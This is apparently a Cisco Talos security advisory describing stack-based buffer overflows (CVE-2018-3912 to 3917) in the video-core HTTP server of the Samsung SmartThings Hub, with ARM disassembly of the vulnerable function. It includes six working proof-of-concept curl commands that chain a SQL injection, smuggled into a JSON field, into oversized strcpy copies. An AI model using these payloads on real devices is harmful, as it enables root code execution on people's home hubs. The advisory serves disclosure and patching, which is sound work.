CVE-2018-3912, CVE-2018-3913, CVE-2018-3914, CVE-2018-3915, CVE-2018-3916, CVE-2018-3917
Multiple exploitable stack-based buffer overflow vulnerabilities exist in the retrieval of database fields in the video-core
HTTP server of the Samsung SmartThings Hub. The video-core
process insecurely extracts the fields from the “shard” table of its SQLite database, leading to a buffer overflow on the stack. An attacker can send an HTTP request to trigger this vulnerability.
Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17
https://shop.smartthings.com/products/samsung-smartthings-hub
7.5 - CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE-120: Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)
Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller that allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.
The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore
process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.
One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they’re both in the same subnetwork.
Inside the hub, the livestream is handled by the video-core
process, which uses ffmpeg
to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.
The remote SmartThings servers have the possibility to communicate with the video-core
process by sending messages in the persistent TLS connection, established by the hubCore
process. These messages can encapsulate an HTTP request, which hubCore
would relay directly to the HTTP server exposed by video-core
. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.
We identified a vulnerable function that can be exploited to achieve code execution on the video-core
process, which is running as root.
For handling the livestreams, the hub stores a series of settings for connecting to cloud servers. These are stored in the “shard” table of video-core
’s SQLite database (found at “/hub/data/videocore/db/VideoCore.db”).
Function sub_289D0
is used to retrieve the “shard” settings from the database and save them in a structure, stored on the stack, passed as first argument.
It is reachable via the imageUploader
and mp4Uploader
threads, which call the vulnerable function every second.
.text:000289D0 sub_289D0
.text:000289D0
.text:000289D0 000 STMFD SP!, {R4-R8,LR}
.text:000289D4 018 SUB SP, SP, #0x1F0
.text:000289D8 208 MOV R6, #0
.text:000289DC 208 ADD R4, SP, #0x208+var_18
.text:000289E0 208 MOV R1, #:lower16:aShardinmemoryd ; "shardInMemoryDb"
.text:000289E4 208 MOV R2, #:lower16:aSecretkey ; "secretKey"
.text:000289E8 208 STR R6, [R4,#-0x1E4]!
.text:000289EC 208 MOV R7, R0 ; [1]
.text:000289F0 208 MOVT R1, #:upper16:aShardinmemoryd ; "shardInMemoryDb"
.text:000289F4 208 MOV R3, R4
.text:000289F8 208 MOVT R2, #:upper16:aSecretkey ; "secretKey"
.text:000289FC 208 MOV R0, #3 ; db_id
.text:00028A00 208 BL db_find ; [2]
.text:00028A04 208 CMP R0, R6
.text:00028A08 208 BLT loc_28BE8
.text:00028A0C 208 LDR R5, [SP,#0x208+src]
.text:00028A10 208 ADD R0, R7, #0x38 ; [1]
.text:00028A14 208 MOV R1, R5
.text:00028A18 208 BL strcpy ; [3]
...
.text:00028A28 208 MOV R1, #:lower16:aShardinmemoryd ; "shardInMemoryDb"
.text:00028A2C 208 MOV R2, #:lower16:aAccesskey ; "accessKey"
.text:00028A30 208 MOVT R1, #:upper16:aShardinmemoryd ; "shardInMemoryDb"
.text:00028A34 208 MOVT R2, #:upper16:aAccesskey ; "accessKey"
.text:00028A38 208 MOV R0, #3 ; db_id
.text:00028A3C 208 MOV R3, R4
.text:00028A40 208 STR R6, [SP,#0x208+src]
.text:00028A44 208 BL db_find ; [2]
.text:00028A48 208 CMP R0, #0
.text:00028A4C 208 BLT loc_28BC8
.text:00028A50 208 LDR R6, [SP,#0x208+src]
.text:00028A54 208 ADD R0, R7, #0x18 ; [1]
.text:00028A58 208 MOV R1, R6
.text:00028A5C 208 BL strcpy ; [3]
...
.text:00028A84 208 MOV R1, #:lower16:aShardinmemoryd ; "shardInMemoryDb"
.text:00028A88 208 MOV R2, #:lower16:aSessiontoken ; "sessionToken"
.text:00028A8C 208 MOVT R1, #:upper16:aShardinmemoryd ; "shardInMemoryDb"
.text:00028A90 208 MOVT R2, #:upper16:aSessiontoken ; "sessionToken"
.text:00028A94 208 MOV R0, #3 ; db_id
.text:00028A98 208 MOV R3, R4
.text:00028A9C 208 STR R6, [SP,#0x208+src]
.text:00028AA0 208 BL db_find ; [2]
.text:00028AA4 208 CMP R0, R6
.text:00028AA8 208 BLT loc_28C48
.text:00028AAC 208 LDR R8, [SP,#0x208+src]
.text:00028AB0 208 ADD R0, R7, #0xB8 ; [1]
.text:00028AB4 208 MOV R1, R8
.text:00028AB8 208 BL strcpy ; [3]
...
.text:00028AD0 208 MOV R1, #:lower16:aShardinmemoryd ; "shardInMemoryDb"
.text:00028AD4 208 MOV R2, #:lower16:aBucket ; "bucket"
.text:00028AD8 208 MOVT R1, #:upper16:aShardinmemoryd ; "shardInMemoryDb"
.text:00028ADC 208 MOVT R2, #:upper16:aBucket ; "bucket"
.text:00028AE0 208 MOV R0, #3 ; db_id
.text:00028AE4 208 MOV R3, R4
.text:00028AE8 208 STR R6, [SP,#0x208+src]
.text:00028AEC 208 BL db_find ; [2]
.text:00028AF0 208 CMP R0, #0
.text:00028AF4 208 BLT loc_28D08
.text:00028AF8 208 LDR R8, [SP,#0x208+src]
.text:00028AFC 208 ADD R0, R7, #0x890 ; [1]
.text:00028B00 208 ADD R0, R0, #8
.text:00028B04 208 MOV R1, R8
.text:00028B08 208 BL strcpy ; [3]
...
.text:00028B20 208 MOV R1, #:lower16:aShardinmemoryd ; "shardInMemoryDb"
.text:00028B24 208 MOV R2, #:lower16:aDirectory ; "directory"
.text:00028B28 208 MOVT R1, #:upper16:aShardinmemoryd ; "shardInMemoryDb"
.text:00028B2C 208 MOVT R2, #:upper16:aDirectory ; "directory"
.text:00028B30 208 MOV R0, #3 ; db_id
.text:00028B34 208 MOV R3, R4
.text:00028B38 208 STR R6, [SP,#0x208+src]
.text:00028B3C 208 BL db_find ; [2]
.text:00028B40 208 CMP R0, #0
.text:00028B44 208 BLT loc_28D64
.text:00028B48 208 LDR R8, [SP,#0x208+src]
.text:00028B4C 208 ADD R0, R7, #0x8D0 ; [1]
.text:00028B50 208 ADD R0, R0, #8
.text:00028B54 208 MOV R1, R8
.text:00028B58 208 BL strcpy ; [3]
...
.text:00028B70 208 MOV R1, #:lower16:aShardinmemoryd ; "shardInMemoryDb"
.text:00028B74 208 MOV R2, #:lower16:aRegion ; "region"
.text:00028B78 208 MOV R3, R4
.text:00028B7C 208 MOVT R1, #:upper16:aShardinmemoryd ; "shardInMemoryDb"
.text:00028B80 208 MOVT R2, #:upper16:aRegion ; "region"
.text:00028B84 208 MOV R0, #3 ; db_id
.text:00028B88 208 STR R6, [SP,#0x208+src]
.text:00028B8C 208 BL db_find ; [2]
.text:00028B90 208 CMP R0, #0
.text:00028B94 208 BLT loc_28DD0
.text:00028B98 208 LDR R4, [SP,#0x208+src]
.text:00028B9C 208 ADD R0, R7, #0x880 ; [1]
.text:00028BA0 208 ADD R0, R0, #8
.text:00028BA4 208 MOV R1, R4
.text:00028BA8 208 BL strcpy ; [3]
...
.text:00028BC4 208 B loc_28BE0
...
.text:00028BE0 loc_28BE0
.text:00028BE0 208 ADD SP, SP, #0x1F0
.text:00028BE4 018 LDMFD SP!, {R4-R8,PC}
As we can see, the same sequence is used to extract each column of the “shard” table:
Execute a “SELECT” query to extract a field using db_find
[2]. The query executed is:
SELECT <field> FROM shard WHERE _id='shardInMemoryDb' where "field" can be one of: "secretKey", "accessKey", "sessionToken", "bucket", "directory", "region".
If db_find
succeeds, the column value is copied in the structure passed as first parameter [1] using strcpy
[3].
Since there is no restriction on the length of the copy operation, the buffer can be overflowed, and this allows for overflowing the input structure and execute arbitrary code.
Note that while we scored this vulnerability CVSS 7.5 on its own, it would constitute a CVSS 8.5 (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H) when combined with TALOS-2018-0556. This is demonstrated in the proof of concepts below. For each of the proof of concepts below, a key with value “x” means that its value is irrelevant, but the key still needs to be present.
The strcpy
call overflows the destination buffer, which has a size of 128 bytes.
An attacker can send an arbitrarily long “secretKey” value in order to exploit this vulnerability:
$ sInj='","_id=0 where 1=2;update shard set secretKey=replace(substr(quote(zeroblob((15000 + 1) / 2)), 3, 15000), \\"0\\", \\"A\\");--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'secretKey':'${sInj}','accessKey':'x','directory':'x','region':'x','bucket':'x','sessionToken':'x'},'videoHostUrl':'127.0.0.1/'}"
The strcpy
call overflows the destination buffer, which has a size of 32 bytes.
An attacker can send an arbitrarily long “accessKey” value in order to exploit this vulnerability:
$ sInj='","_id=0 where 1=2;update shard set accessKey=replace(substr(quote(zeroblob((15000 + 1) / 2)), 3, 15000), \\"0\\", \\"A\\");--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'secretKey':'${sInj}','accessKey':'x','directory':'x','region':'x','bucket':'x','sessionToken':'x'},'videoHostUrl':'127.0.0.1/'}"
The strcpy
call overflows the destination buffer, which has a size of 2000 bytes.
An attacker can send an arbitrarily long “sessionToken” value in order to exploit this vulnerability:
$ sInj='","_id=0 where 1=2;update shard set sessionToken=replace(substr(quote(zeroblob((15000 + 1) / 2)), 3, 15000), \\"0\\", \\"A\\");--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'secretKey':'${sInj}','accessKey':'x','directory':'x','region':'x','bucket':'x','sessionToken':'x'},'videoHostUrl':'127.0.0.1/'}"
The strcpy
call overflows the destination buffer, which has a size of 64 bytes.
An attacker can send an arbitrarily long “bucket” value in order to exploit this vulnerability:
$ sInj='","_id=0 where 1=2;update shard set bucket=replace(substr(quote(zeroblob((15000 + 1) / 2)), 3, 15000), \\"0\\", \\"A\\");--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'secretKey':'${sInj}','accessKey':'x','directory':'x','region':'x','bucket':'x','sessionToken':'x'},'videoHostUrl':'127.0.0.1/'}"
The strcpy
call overflows the destination buffer, which has a size of 136 bytes.
An attacker can send an arbitrarily long “directory” value in order to exploit this vulnerability:
$ sInj='","_id=0 where 1=2;update shard set directory=replace(substr(quote(zeroblob((15000 + 1) / 2)), 3, 15000), \\"0\\", \\"A\\");--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'secretKey':'${sInj}','accessKey':'x','directory':'x','region':'x','bucket':'x','sessionToken':'x'},'videoHostUrl':'127.0.0.1/'}"
The strcpy
call overflows the destination buffer, which has a size of 16 bytes.
An attacker can send an arbitrarily long “region” value in order to exploit this vulnerability:
$ sInj='","_id=0 where 1=2;update shard set region=replace(substr(quote(zeroblob((15000 + 1) / 2)), 3, 15000), \\"0\\", \\"A\\");--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'secretKey':'${sInj}','accessKey':'x','directory':'x','region':'x','bucket':'x','sessionToken':'x'},'videoHostUrl':'127.0.0.1/'}"
2018-04-25 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release
Discovered by Claudio Bozzato of Cisco Talos.